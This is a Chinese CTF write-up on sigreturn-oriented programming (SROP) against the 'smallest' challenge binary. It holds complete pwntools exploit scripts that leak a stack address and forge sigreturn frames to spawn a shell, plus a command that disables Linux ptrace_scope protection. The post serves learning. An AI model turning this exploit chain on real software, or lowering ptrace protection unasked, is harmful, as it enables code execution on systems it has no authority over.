SROP——smallest-pwn(360春秋杯)

参考的大佬:

SROP技术探讨 | PWN_哔哩哔哩_bilibili

好好说话之SROP-CSDN博客

wiki:SROP - CTF Wiki

checksec 查看保护

只有nx保护,在栈上注入shellcode并执行的方法行不通

ida

只有这一段汇编

分析汇编

.text:4000B0 48 31 C0                   xor     rax, rax
.text:4000B3 BA 00 04 00 00             mov     edx, 400h                       
.text:4000B8 48 89 E6                   mov     rsi, rsp                        
.text:4000BB 48 89 C7                   mov     rdi, rax                        
.text:4000BE 0F 05                      syscall                                 
.text:4000C0 C3                         retn
  1. 对rax做异或操作,即相同位为0、不同位为1,而源寄存器和目的寄存器都是rax,结果为将rax的值变为0
  2. 将十六进制数400(h表示是十六进制数)赋值给寄存器rdx的低32位寄存器edx的低16位(因为0x400占12位,所以低16位足够了)
  3. 将寄存器rsp中的值赋给寄存器rsi
  4. 将寄存器rax中的值赋给寄存器rdi
  5. 进行系统调用systemcall
  6. ret返回(pop rip 把栈顶的值赋给rip,跳转到rip中的地址处执行)

在64位程序中,函数的一参存放在寄存器rdi中,二参存放在寄存器rsi中,三参存放在寄存器rdx中。syscall的第一个参数是rax决定的,它的意义是系统调用号,此时为0代表read函数Linux64位系统调用号——奇偶排列表格方便查找,read(0,rsp,0x400),标准输入(用户输入)0x400个字节的数据在栈顶(从高地址往低地址输入),总的为syscall(0, 0, rsp, 0x400)

用edb尝试并理解

edb的安装方法在PWN入门(1-3-10)-高级ROP-SROP中有

在安装目录文件夹../edb-debugger/build中打开终端

在终端中输入./edb会打开edb

打开相应elf文件(也可以像ida一样拖进来)

第一次尝试

在edb中我们主要看三部分,左上角的汇编代码,右上角的寄存器,右下角的栈

左上角的绿色箭头代表着rip/eip指针,现在指向的是xor rax rax,就是前面说的异或清零的位置。

点击左上角第二个图标单步步过

到syscall位置发现单步步过点不了了,其实是调用了read函数,在刚才的终端等待用户输入

第一次在这任意输入(我输入了123)写完按回车

回到edb会发现已经到了ret,它会把123所对应的16进制码作为返回地址

再单步步过两次就会报错,因为返回地址不正确

第二次尝试

restart

前面都一致,知道ret前右键栈顶的内容,点击Binary Edit

以小端序输入4000b0,即b0 00 40 00(至少4个字节因为要覆盖掉0a,最好输入完整,即八个字节b0 00 40 00 00 00 00 00)

再次单步步过

会看到程序回到了开始处,即地址0x4000b0处

总体构造思路

1. 利用运行程序时的read函数,在栈中部署三个start函数的起始位置地址,即xor rax,rax汇编地址(0x00000000004000B0),记作start_addr

如果部署完不操作的话后续就是连续三次read

2. 在操作1做完后执行ret,弹出第一个start_addr,rsp指向第二个start_addr并第一次执行read函数时,向程序写入“/xb3”,将第二个start_addr的低八位,即最后一个字节覆盖,start_addr变为0x00000000004000B3,同时rax会计数读/写入的字节数,现rax变为1

ret的功能回忆:pop栈顶的内容作为rip/eip

rip/eip:当前执行的机器码地址

a. 关于rax系统调用的补充

rax系统调用的语法为:

syscall(SYS_read, int fd, const void *buf, size_t count);

一般情况下,rax寄存器在系统调用返回时将包含以下信息:

  • 如果系统调用成功执行,则rax寄存器中将存放返回的结果或返回码。返回值的具体含义取决于所调用的系统调用。
  • 如果系统调用发生错误或失败,则rax寄存器中会存放一个负数,表示错误的错误码。错误码可以通过errno全局变量来获取。

3. 由于rax变为了1,并且ret的地址变为了0x4000B3(原来的第二个start_addr),rsp指向第三个start_addr,此时syscall(1,1(rdi=rax=1),rsp,0x400),即write(1,rsp,0x400)打印出或者说泄露出从栈顶开始的0x400个字节的内容,将需要的内容截取并接收:打印内容的第二个地址(第一个为我们布置的第三个start_addr)记作stack_addr,为后续的read做铺垫

4. ret地址为第三个start_addr,rsp指向stack_addr,此时syscall(0,0,rsp,0x400),即read(0,rsp,0x400),向程序写入start_addr、syscall_ret和read函数的SigreturnFrame

5. ret地址为stack_addr的起始地址(为第三次返回start_addr后执行的read再次添加的start_addr),rsp指向syscall_ret,此时syscall(0,0,rsp,0x400),即read(0,rsp,0x400),为了下一次的rax能等于15并且不破坏之前栈中布置的内容,就将上一次发的payload从syscall_ret开始截取15个字节向程序写入

6. ret地址为syscall_ret,rsp此时是什么不重要(硬说的话是read函数的SigreturnFrame的开始八字节内容),因为sigreturn会根据我们布置的rsp改变现有rsp。因为rax为15,此时syscall(15),完成sigreturn,将前面布置的所有寄存器的值pop到寄存器中,执行read函数,此时的rsp是我们布置好的之前泄露的stack_addr,向程序写入start_addr、syscall_ret、execve函数的SigreturnFrame以及/bin/sh(这是我们泄露stack_addr的目的)

7. 最后重复第五步开始的过程,只是sigreturn中pop到寄存器的值不一样,从而get shell

构造思路的示意图

每一步的详解

前置知识

  • rax系统调用
syscall(SYS_read/write, int fd, const void *buf, size_t count);
  • 写入和读取的字节数会改变rax的值
  • ret:pop栈顶的内容作为rip/eip;rip/eip:当前执行的机器码地址
  • 在pop后rsp会向高地址移动(向上一格),即rsp-8

运行程序的read

布置三个start_addr

第一次ret后的read

通过第一个start_addr写入‘/b3’覆盖第二个start_addr的第八位,不仅使rax=1,又绕过了xor rax,rax,使rax不归为0,能执行write操作

第二次ret后的write

泄露从此时rsp开始的0x400个字节的栈中内容

取泄露内容的第二个八字节作为stack_addr

exp

from pwn import *
from LibcSearcher import *
small = ELF('./smallest')
sh = process('./smallest')
context.arch = 'amd64'
context.log_level = 'debug'
syscall_ret = 0x00000000004000BE #源代码syscall处地址
start_addr = 0x00000000004000B0  #源代码xor rax,rax处地址

payload = p64(start_addr) * 3  #部署三个start_addr,完成三次read函数的调用
sh.send(payload)

#覆盖第二个start_addr的最后一个字节变成0x00000000004000B3,越过对rax寄存器的清零,还使得rax寄存器值变为1
sh.send('\xb3')
stack_addr = u64(sh.recv()[8:16]) #接收接下要要部署的栈顶地址
log.success('leak stack addr :' + hex(stack_addr))

sh.interactive()

泄露地址疑点

为什么第二个八字节内容是栈的地址?

其实在edb进入时能看到初始的栈中,除了第一个和第三个八字节内容不是栈地址外,其余都是,此时的第二个八字节内容其实就是初始栈的第四个八字节内容

初次理解的时候认为打印出的内容是栈地址,其实并不是,并应发了新的问题,后面会讨论

第三次ret后的read

向程序输入start_addr、syscall_ret和read函数的SigreturnFrame

frame(read)的寄存器布置

----------------------------------
| 寄存器和指令 |      存储数据      | 
----------------------------------
|    rax     | read函数系统调用号0 | 
----------------------------------
|    rdi     |         0         | 
----------------------------------
|    rsi     |    stack_addr     | 
----------------------------------
|    rdx     |       0x400       | 
----------------------------------
|    rsp     |    stack_addr     | 
----------------------------------
|    rip     |    syscall_ret    | 
----------------------------------
  • 首先是rax寄存器中一定是存放read函数的系统调用号啦,因为原汇编代码使用的是syscall,这个不多说了
  • rdi寄存器作为read函数的一参,0代表标准输入(控制台用户输入)
  • rsi寄存器作为read函数的二参,里面存放的是前面通过write函数打印出来的新栈顶的地址stack_addr,也就是说将接收到的信息写到我们前面通过write函数打印的新栈顶的位置,这样做的目的是可以找到’/bin/sh\x00’的地址,通过stack_addr加上一个偏移即可
  • rdx作为read函数的三参写0x400个字节
  • rsp寄存器需要和rsi保持一致,在写的时候写在rsp指向的位置,便于后续的操作
  • rip寄存器指向syscall_ret,确保在sigreturn成功使寄存器值更新之后可以直接成功调用read函数,从头开始寄存器的值又会被改回去

下一次的返回地址就是此次布置的第一个八字节地址,即start_addr(0x4000b0)

第四次ret后的read

这一次read需要输入15个字节的内容时rax变为15,因为下一次的返回地址是0x4000BE,进行syscall系统调用,但是输入的内容会对栈中现有的内容进行覆盖,有一个完美解决这个问题的办法就是发送和现在rsp中内容开始的15个字节内容,即使覆盖,内容还是没变,同时能使rax变为15

from pwn import *
from LibcSearcher import *
small = ELF('./smallest')
sh = process('./smallest')
context.arch = 'amd64'
context.log_level = 'debug'
syscall_ret = 0x00000000004000BE #源代码syscall处地址
start_addr = 0x00000000004000B0  #源代码xor rax,rax处地址

payload = p64(start_addr) * 3  #部署三个start_addr,完成三次read函数的调用
sh.send(payload)

#覆盖第二个start_addr的最后一个字节变成0x00000000004000B3,越过对rax寄存器的清零,还使得rax寄存器值变为1
sh.send('\xb3')  
stack_addr = u64(sh.recv()[8:16]) #接收接下要要部署的栈顶地址
log.success('leak stack addr :' + hex(stack_addr))

read = SigreturnFrame()
read.rax = constants.SYS_read #read函数系统调用号
read.rdi = 0  #read函数一参
read.rsi = stack_addr  #read函数二参
read.rdx = 0x400  #read函数三参
read.rsp = stack_addr  #和rsi寄存器中的值保持一致,确保read函数写的时候rsp指向stack_addr
read.rip = syscall_ret #使得rip指向syscall的位置,在部署好read函数之后能直接调用
payload = p64(start_addr) + p64(syscall_ret) + str(read)
sh.send(payload)
sh.send(payload[8:8+15])  #输入15个字节使得rax寄存器的值为15,进行sigreturn调用

sh.interactive()

第五次ret后的syscall引起sigreturn(开辟新栈)

由于sigreturn的功能是恢复之前存好的寄存器的值,也就是将signal farme中的寄存器的值pop回对应寄存器,但是我们人为对其修改为了我们需要的值(对应攻击原理:Signal Frame 被保存在用户的地址空间中,所以用户是可以读写的)。

这个行为能成功的原因是sigreturn不会检查寄存器中的值是否是人为修改(对应攻击原理:Signal Frame 并不一定是之前内核为用户进程保存的 Signal Frame),但其实也不需要知道这个,因为pwntools中包含了修改signal frame寄存器的工具。

关于开辟新栈

因为成功系统调用了sigreturn,因此寄存器被修改,特别是rsp的值,变为了stack_addr,这个值和前面的前面的栈地址差很多(0x1000量级的),其实这个过程有点类似于栈迁移

所以网上大部分的图都是由问题的,不可能衔接在一起

但不可否认的是,这些博主的其他内容还是能给予读者很多参考价值的

第五次ret后引起的sigreturn使rip变为syscall_ret

因为此时rax=0,rdi=0,rsi=stack_addr,rdx=0x400,执行系统调用syscall(0,0,stack_addr,0x400),在新的栈中布置start_addr、syscall_ret、execve函数的SigreturnFrame以及/bin/sh

frame(execve)的寄存器布置

----------------------------------
| 寄存器和指令 |      存储数据      | 
----------------------------------
|    rax     |execve函数系统调用号59| 
----------------------------------
|    rdi     |     binsh_addr    | 
----------------------------------
|    rsi     |         0         | 
----------------------------------
|    rdx     |         0         | 
----------------------------------
|    rsp     |    stack_addr     | 
----------------------------------
|    rip     |    syscall_ret    | 
----------------------------------

这个里面缺少的是binsh_addr,而这个地址的布置只能在现在的rsp的更高地址,因为read函数是从低地址往高地址写入的,这就需要我们自己计算一下在不影响signal frame的情况下binsh应该放在哪,现在已知的stack_addr,我们如果知道start_addr、syscall_ret、execve函数的SigreturnFrame的总长度的话就可以算出binsh至少从哪个地址开始布置才能不影响signal frame

exp(计算偏移量)

from pwn import *
from LibcSearcher import *
small = ELF('./smallest')
sh = process('./smallest')
context.arch = 'amd64'
context.log_level = 'debug'
syscall_ret = 0x00000000004000BE #源代码syscall处地址
start_addr = 0x00000000004000B0  #源代码xor rax,rax处地址

payload = p64(start_addr) * 3  #部署三个start_addr,完成三次read函数的调用
sh.send(payload)

#覆盖第二个start_addr的最后一个字节变成0x00000000004000B3,越过对rax寄存器的清零,还使得rax寄存器值变为1
sh.send('\xb3')  
stack_addr = u64(sh.recv()[8:16]) #接收接下要要部署的栈顶地址
log.success('leak stack addr :' + hex(stack_addr))

read = SigreturnFrame()
read.rax = constants.SYS_read #read函数系统调用号
read.rdi = 0  #read函数一参
read.rsi = stack_addr  #read函数二参
read.rdx = 0x400  #read函数三参
read.rsp = stack_addr  #和rsi寄存器中的值保持一致,确保read函数写的时候rsp指向stack_addr
read.rip = syscall_ret #使得rip指向syscall的位置,在部署好read函数之后能直接调用
payload = p64(start_addr) + p64(syscall_ret) + str(read)
sh.send(payload)
sh.send(payload[8:8+15])  #输入15个字节使得rax寄存器的值为15,进行sigreturn调用

execve = SigreturnFrame()
execve.rax = constants.SYS_execve
# "/bin/sh"字符串地址,这里为了能够让exp3.1正常执行,所以直接给了0x120,下面会将为什么是0x120
execve.rdi = stack_addr + 0x120 #第一次执行获取总长度时可以任意写,在完整exp时再更改这个是更改后的  
execve.rsi = 0x0 #execve函数二参
execve.rdx = 0x0 #execve函数二参
execve.rsp = stack_addr 
execve.rip = syscall_ret

frame_payload = p64(start_addr) + p64(syscall_ret) + str(execve)
print len(frame_payload)

sh.interactive()

执行结果

    00000108
[DEBUG] Sent 0xf bytes:
    00000000  be 00 40 00  00 00 00 00  00 00 00 00  00 00 00     │··@·│····│····│···│
    0000000f
264
[*] Switching to interactive mode

地址对齐问题

264=0x108

因此binsh_addr>=stack_addr+0x108,但由于地址对齐问题,binsh_addr只能取stack_addr+0x108、stack_addr+0x110、stack_addr+0x118、stack_addr+0x120等8的倍数,因为‘/bin/sh\x00’字符串是八字节的,如果当中有多的空间用任意字符填充(padding),因为写入是低地址往高地址写的,取的地址大了也不能直接跳到该地址

看了其他博客原本以为必须地址对齐,但实际上可以不用,因为rdi是取满8字节的,不论binsh_addr是不是8的倍数都可以

甚至,我认为使用切片功能使这段布置分段,让binsh_addr的地址<stack_addr+0x108也能出来,因为signal frame中的有些寄存器被修改了也不影响

但出于严谨,还是binsh_addr>=stack_addr+0x108,地址也最好对齐

第六次ret后的read

和第四次ret后的read操作类似,利用切片输入与原本栈中内容相同的15个字节内容,使rax变为15

第七次ret后的syscall引起sigreturn

使我们最希望的frame(execve)中的寄存器pop到对应寄存器中

此时的rsp是什么都无所谓了,因为栈也用不到了,只需要进行系统调用execve函数获取shell即可,但exp中的rsp=stack_addr,我还是画出了栈布局

第七次ret后引起的sigreturn使rip变为syscall_ret

进行系统调用syscall(59,binsh_addr,0,0)获取最终的shell

完整exp

from pwn import *
from LibcSearcher import *
small = ELF('./smallest')
sh = process('./smallest')
context.arch = 'amd64' #架构设置
context.log_level = 'debug' #设置日志输出级别
syscall_ret = 0x00000000004000BE #源代码syscall处地址
start_addr = 0x00000000004000B0  #源代码xor rax,rax处地址

payload = p64(start_addr) * 3  #部署三个start_addr,完成三次read函数的调用
sh.send(payload)

#覆盖第二个start_addr的最后一个字节变成0x00000000004000B3,越过对rax寄存器的清零,还使得rax寄存器值变为1
sh.send('\xb3')  
stack_addr = u64(sh.recv()[8:16]) #接收接下要要部署的栈顶地址
log.success('leak stack addr :' + hex(stack_addr))

read = SigreturnFrame()
read.rax = constants.SYS_read #read函数系统调用号
read.rdi = 0  #read函数一参
read.rsi = stack_addr  #read函数二参
read.rdx = 0x400  #read函数三参
read.rsp = stack_addr  #和rsi寄存器中的值保持一致,确保read函数写的时候rsp指向stack_addr
read.rip = syscall_ret #使得rip指向syscall的位置,在部署好read函数之后能直接调用
payload = p64(start_addr) + p64(syscall_ret) + str(read)
sh.send(payload)
sh.send(payload[8:8+15])  #输入15个字节使得rax寄存器的值为15,进行sigreturn调用

execve = SigreturnFrame()
execve.rax = constants.SYS_execve
# "/bin/sh"字符串地址,这里为了能够让exp3.1正常执行,所以直接给了0x120,下面会将为什么是0x120
execve.rdi = stack_addr + 0x120 (可以是>0x108的任何值,要更改下面的0x120也要一起更改) 
execve.rsi = 0x0 #execve函数二参
execve.rdx = 0x0 #execve函数二参
execve.rsp = stack_addr 
execve.rip = syscall_ret

frame_payload = p64(start_addr) + p64(syscall_ret) + str(execve)
print len(frame_payload)
# 将execve函数调用和/bin/sh字符串一起部署到栈中
payload = frame_payload + (0x120 - len(frame_payload)) * '\x00' + '/bin/sh\x00'
sh.send(payload)
sh.send(payload[8:8+15])

sh.interactive()

调试版exp

#coding=utf8
from pwn import *
sh = process('./smallest')
small = ELF('./smallest')
syscall_ret = 0x00000000004000BE
start_addr = 0x00000000004000B0
context.arch = 'amd64'
context.terminal=['gnome-terminal', '-x', 'sh', '-c']
gdb.attach(sh, 'b *0x00000000004000B0')
payload = p64(start_addr) * 3
print("before start")
pause()
sh.send(payload)#首先,发送start_addr的地址,因为是写在栈顶的,所以就是read的返回地址
#会返回到start_addr
print("before b3")
pause()
sh.send(b'\xb3')#返回后再次调用read函数的时候输入一个字节,read函数会把读入的字节数放到rax
#这样就达到了rax置为1的目的,同时会把rsp的后一位写为\xB3,这样返回地址就不是start_addr了
#而是4000B3,这就避免了rax被xor置零
print("after b3")
pause()
stack_addr = u64(sh.recv()[8:16]) #收到的是乱码需要解包
#此时,这样我们就回去syscall调用write函数里,输出的就是栈上的0x400长度的内容
#别忘了当是输入的是3个start_addr,所以前八个字节是start_addr,后面的才是我们要用的
log.success('leak stack addr :' + hex(stack_addr))
#现在我们拿到栈的地址,同时,因为当时是写了三个start_addr,现在又回到了start_addr
#开始构造!我们要想要syscall调用sigreturn需要把rax设置为15,通过read实现
read = SigreturnFrame()
read.rax = constants.SYS_read
read.rdi = 0
read.rsi = stack_addr
read.rdx = 0x400
read.rsp = stack_addr
read.rip = syscall_ret
#相当于read(0,stack_addr,0x400),同时返回地址是start_addr
read_frame_payload  = p64(start_addr) + p64(syscall_ret) + bytes(read)
sh.send(read_frame_payload)#调用read函数,等待接收
print("after send payload1")
pause()
sh.send(read_frame_payload[8:8+15])#总共是15个
#这样通过read返回的字节使得rax为15,这样的话就会去恢复构造的read那一段内容,来接受我们的输入
print("after send 15")
pause()

execve = SigreturnFrame()
execve.rax=constants.SYS_execve
execve.rdi=stack_addr + 0x120
execve.rsi=0x0
execve.rdx=0x0
execve.rsp=stack_addr
execve.rip=syscall_ret
execv_frame_payload=p64(start_addr)+p64(syscall_ret)+bytes(execve)#返回start_addr等待输入
print len(execv_frame_payload)
execv_frame_payload_all=execv_frame_payload+(0x120-len(execv_frame_payload ))*b'a'+b'/bin/sh\x00'
#先计算一下长度,让前面的添上几个'\x00'之后正好是0x120,然后再填上'/bin/sh'
sleep(0.5)
sh.send(execv_frame_payload_all)
sleep(0.5)
print("after send payload2")
pause()
sleep(0.5)
sh.send(execv_frame_payload_all[8:8+15])
print("after send 15")
pause()
sleep(0.5)
sh.interactive()

用到了gdb和terminal的联合调试在开头提到的视频里有详细讲解

pause()函数可理解为一个暂停点,输入任意字符即可继续,便于调试查看栈与程序流

可运行但不严谨的exp

from pwn import *
from LibcSearcher import *
small = ELF('./smallest')
if args['REMOTE']:
    sh = remote('127.0.0.1', 7777)
else:
    sh = process('./smallest')
context.arch = 'amd64'
context.log_level = 'debug'
syscall_ret = 0x00000000004000BE
start_addr = 0x00000000004000B0
## set start addr three times
payload = p64(start_addr) * 3
sh.send(payload)

## modify the return addr to start_addr+3
## so that skip the xor rax,rax; then the rax=1
## get stack addr
sh.send('\xb3')
stack_addr = u64(sh.recv()[8:16])
log.success('leak stack addr :' + hex(stack_addr))

## make the rsp point to stack_addr
## the frame is read(0,stack_addr,0x400)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
payload = p64(start_addr) + 'a' * 8 + str(sigframe)
sh.send(payload)

## set rax=15 and call sigreturn
sigreturn = p64(syscall_ret) + 'b' * 7
sh.send(sigreturn)

## call execv("/bin/sh",0,0)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr + 0x120  # "/bin/sh" 's addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret

frame_payload = p64(start_addr) + 'b' * 8 + str(sigframe)
print len(frame_payload)
payload = frame_payload + (0x120 - len(frame_payload)) * '\x00' + '/bin/sh\x00'
sh.send(payload)
sh.send(sigreturn)
sh.interactive()

不严谨的原因是read15个字节部分,有7个字节内容覆盖了signal frame

构造总结

exp中每一步都是缺一不可的

程序运行的read布置的三个start_addr都有各自的任务:

  1. 第一个用于修改第二个start_addr绕过xor rax,rax并且使rax=1
  2. 第二个用于被修改后泄露stack_addr,这十分重要,没有stack_addr的话execve函数的rdi将会布置不了,因为不知道binsh_addr
  3. 第三个start_addr为了布置start_addr、syscall_ret和read函数的SigreturnFrame

前两个的功能不必多说,是为了使rax变为15和绕过寄存器值的修改进行系统调用frame(read)的必要性:使rsp变为stack_addr使frame(execve)中rdi的值binsh_addr指向‘/bin/sh\x00‘,起到类似栈迁移的功能,如果不那么做,直接使用第三个start_addr来写的话会将‘/bin/sh\x00‘写到初始的栈中,‘/bin/sh\x00‘在栈中的地址就和rdi中的binsh_addr不一样,进而不能成功获取shell

后续就是常规的攻击原理实现

补充

pwntools+gdb问题

  • 用root登录或者sudo,不要su
  • pip3 install -U pwntools==4.8.0b0(这个版本比较好)
  • echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope(一次性的)

运行 echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope 命令会将值 0 写入 /proc/sys/kernel/yama/ptrace_scope 文件中,从而修改 ptrace_scope 的设置。

ptrace_scope 是 Linux 内核的一个安全特性,控制了进程之间对于跟踪和修改其他进程的能力。该特性的默认值是 1,表示只允许父进程跟踪和修改子进程。通过将其设置为 0,你允许任何进程以任何方式跟踪和修改其他进程

对SigreturnFrame()的深层理解

在pycharm中查看

在pycharm中右键点击查找用法.

选择pwntools中的

里面有amd64等架构的使用example

不同架构signal frame中暂存的寄存器:
registers = {
# Reference : http://lxr.free-electrons.com/source/arch/x86/include/asm/sigcontext.h?v=2.6.28#L138
        'i386' : {0: 'gs', 4: 'fs', 8: 'es', 12: 'ds', 16: 'edi', 20: 'esi', 24: 'ebp', 28: 'esp',
                  32: 'ebx', 36: 'edx', 40: 'ecx', 44: 'eax', 48: 'trapno', 52: 'err', 56: 'eip',
                  60: 'cs', 64: 'eflags', 68: 'esp_at_signal', 72: 'ss', 76: 'fpstate'},
# Reference : https://www.cs.vu.nl/~herbertb/papers/srop_sp14.pdf
        'amd64': {0: 'uc_flags', 8: '&uc', 16: 'uc_stack.ss_sp', 24: 'uc_stack.ss_flags',
                  32: 'uc_stack.ss_size', 40: 'r8', 48: 'r9', 56: 'r10', 64: 'r11', 72: 'r12',
                  80: 'r13', 88: 'r14', 96: 'r15', 104: 'rdi', 112: 'rsi', 120: 'rbp', 128: 'rbx',
                  136: 'rdx', 144: 'rax', 152: 'rcx', 160: 'rsp', 168: 'rip', 176: 'eflags',
                  184: 'csgsfs', 192: 'err', 200: 'trapno', 208: 'oldmask', 216: 'cr2',
                  224: '&fpstate', 232: '__reserved', 240: 'sigmask'},
# Reference : http://lxr.free-electrons.com/source/arch/arm/include/uapi/asm/sigcontext.h#L15
        'arm' : {0: 'uc_flags', 4: 'uc_link', 8: 'uc_stack.ss_sp', 12: 'uc_stack.ss_flags',
                 16: 'uc_stack.ss_size', 20: 'trap_no', 24: 'error_code', 28: 'oldmask', 32: 'r0',
                 36: 'r1', 40: 'r2', 44: 'r3', 48: 'r4', 52: 'r5', 56: 'r6', 60: 'r7', 64: 'r8',
                 68: 'r9', 72: 'r10', 76: 'fp', 80: 'ip', 84: 'sp', 88: 'lr', 92: 'pc', 96: 'cpsr',
                 100: 'fault_address', 104: 'uc_sigmask', 108: '__unused', 112: 'uc_regspace',
                 232: 'VFPU-magic', 236: 'VFPU-size'},
# Reference : http://lxr.free-electrons.com/source/arch/mips/include/uapi/asm/sigcontext.h#L15
        'mips': {0: 'sf_ass0', 4: 'sf_ass1', 8: 'sf_ass2', 12: 'sf_ass3', 16: 'sf_ass4', 20: 'sf_pad0',
                 24: 'sf_pad1', 28: 'sc_regmask', 32: 'sc_status', 36: 'pc', 44: 'padding', 52: 'at', 60: 'v0',
                 68: 'v1', 76: 'a0', 84: 'a1', 92: 'a2', 100: 'a3', 108: 't0', 116: 't1', 124: 't2',
                 132: 't3', 140: 't4', 148: 't5', 156: 't6', 164: 't7', 172: 's0', 180: 's1', 188: 's2',
                 196: 's3', 204: 's4', 212: 's5', 220: 's6', 228: 's7', 236: 't8', 244: 't9', 252: 'k0',
                 260: 'k1', 268: 'gp', 276: 'sp', 284: 's8', 292: 'ra'},
        'mipsel': {0: 'sf_ass0', 4: 'sf_ass1', 8: 'sf_ass2', 12: 'sf_ass3', 16: 'sf_ass4', 20: 'sc_regmask',
                   24: 'sc_status', 32: 'pc', 40: 'padding', 48: 'at', 56: 'v0', 64: 'v1', 72: 'a0',
                   80: 'a1', 88: 'a2', 96: 'a3', 104: 't0', 112: 't1', 120: 't2', 128: 't3', 136: 't4',
                   144: 't5', 152: 't6', 160: 't7', 168: 's0', 176: 's1', 184: 's2', 192: 's3', 200: 's4',
                   208: 's5', 216: 's6', 224: 's7', 232: 't8', 240: 't9', 248: 'k0', 256: 'k1', 264: 'gp',
                   272: 'sp', 280: 's8', 288: 'ra'},
        'aarch64': {312: 'x0', 320: 'x1', 328: 'x2', 336: 'x3',
                    344: 'x4',  352: 'x5', 360: 'x6', 368: 'x7',
                    376: 'x8', 384: 'x9', 392: 'x10', 400: 'x11',
                    408: 'x12', 416: 'x13', 424: 'x14', 432: 'x15',
                    440: 'x16', 448: 'x17', 456: 'x18', 464: 'x19',
                    472: 'x20', 480: 'x21', 488: 'x22', 496: 'x23',
                    504: 'x24', 512: 'x25', 520: 'x26', 528: 'x27',
                    536: 'x28', 544: 'x29', 552: 'x30', 560: 'sp',
                    568: 'pc', 592: 'magic'}
}

使用ipython3查看

这个类似于IDLE(交互式的)

导入pwn模块

设置架构,也可以分两步context.clear() context.arch = "amd64"

SigreturnFrame赋值

用__dict__方法显示arch(架构),endian(字节序),regs(寄存器)信息

进一步打印出寄存器列表

替换exp中寄存器的布置来“玩一下”

#coding=utf8
from pwn import *
sh = process('./smallest')
small = ELF('./smallest')
syscall_ret = 0x00000000004000BE
start_addr = 0x00000000004000B0
context.arch = 'amd64'
context.terminal=['gnome-terminal', '-x', 'sh', '-c']
gdb.attach(sh, 'b *0x00000000004000B0')
payload = p64(start_addr) * 3
print("before start")
pause()
sh.send(payload)#首先,发送start_addr的地址,因为是写在栈顶的,所以就是read的返回地址
#会返回到start_addr
print("before b3")
pause()
sh.send(b'\xb3')#返回后再次调用read函数的时候输入一个字节,read函数会把读入的字节数放到rax
#这样就达到了rax置为1的目的,同时会把rsp的后一位写为\xB3,这样返回地址就不是start_addr了
#而是4000B3,这就避免了rax被xor置零
print("after b3")
pause()
stack_addr = u64(sh.recv()[8:16])
#此时,这样我们就回去syscall调用write函数里,输出的就是栈上的0x400长度的内容
#别忘了当是输入的是3个start_addr,所以前八个字节是start_addr,后面的才是我们要用的
log.success('leak stack addr :' + hex(stack_addr))
#现在我们拿到栈的地址,同时,因为当时是写了三个start_addr,现在又回到了start_addr
#开始构造!我们要想要syscall调用sigreturn需要把rax设置为15,通过read实现
read = SigreturnFrame()
read.rax = constants.SYS_read
read.rdi = 0
read.rsi = stack_addr
read.rdx = 0x400
read.rsp = stack_addr
read.rip = syscall_ret
#相当于read(0,stack_addr,0x400),同时返回地址是start_addr
read_frame_payload  = p64(start_addr) + p64(syscall_ret) + bytes(read)
sh.send(read_frame_payload)#调用read函数,等待接收
print("after send payload1")
pause()
sh.send(read_frame_payload[8:8+15])#总共是15个
#这样通过read返回的字节使得rax为15,这样的话就会去恢复构造的read那一段内容,来接受我们的输入
print("after send 15")
pause()

execve = SigreturnFrame()
execve['uc_flags']=0x1
execve['&uc']=0x2
execve['uc_stack.ss_sp']=0x3
execve['uc_stack.ss_flags']=0x4
execve['uc_stack.ss_size']=0x5
execve['r8']=0x6
execve['r9']=0x7
execve['r10']=0x8
execve['r11']=0x9
execve['r12']=0x10
execve['r13']=0x11
execve['r14']=0x12
execve['r15']=0x13
execve['rdi']=0x14
execve['rsi']=0x15
execve['rbp']=0x16
execve['rbx']=0x17
execve['rdx']=0x18
execve['rax']=0x19
execve['rcx']=0x20
execve['rsp']=0x21
execve['rip']=0x22
execve['eflags']=0x23
execve['csgsfs']=0x24
execve['err']=0x25
execve['trapno']=0x26
execve['oldmask']=0x27
execve['cr2']=0x28
execve['&fpstate']=0x29
execve['__reserved']=0x30
execve['sigmask']=0x31

execv_frame_payload=p64(start_addr)+p64(syscall_ret)+bytes(execve)#返回start_addr等待输入
print len(execv_frame_payload)
execv_frame_payload_all=execv_frame_payload+(0x120-len(execv_frame_payload ))*b'a'+b'/bin/sh\x00'
#先计算一下长度,让前面的添上几个'\x00'之后正好是0x120,然后再填上'/bin/sh'
sleep(0.5)
sh.send(execv_frame_payload_all)
sleep(0.5)
print("after send payload2")
pause()
sleep(0.5)
sh.send(execv_frame_payload_all[8:8+15])
print("after send 15")
pause()
sleep(0.5)
sh.interactive()

(寄存器还能以这种方式被布置execve['rdi']=0x14)

栈中的布置结果

  • 18
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值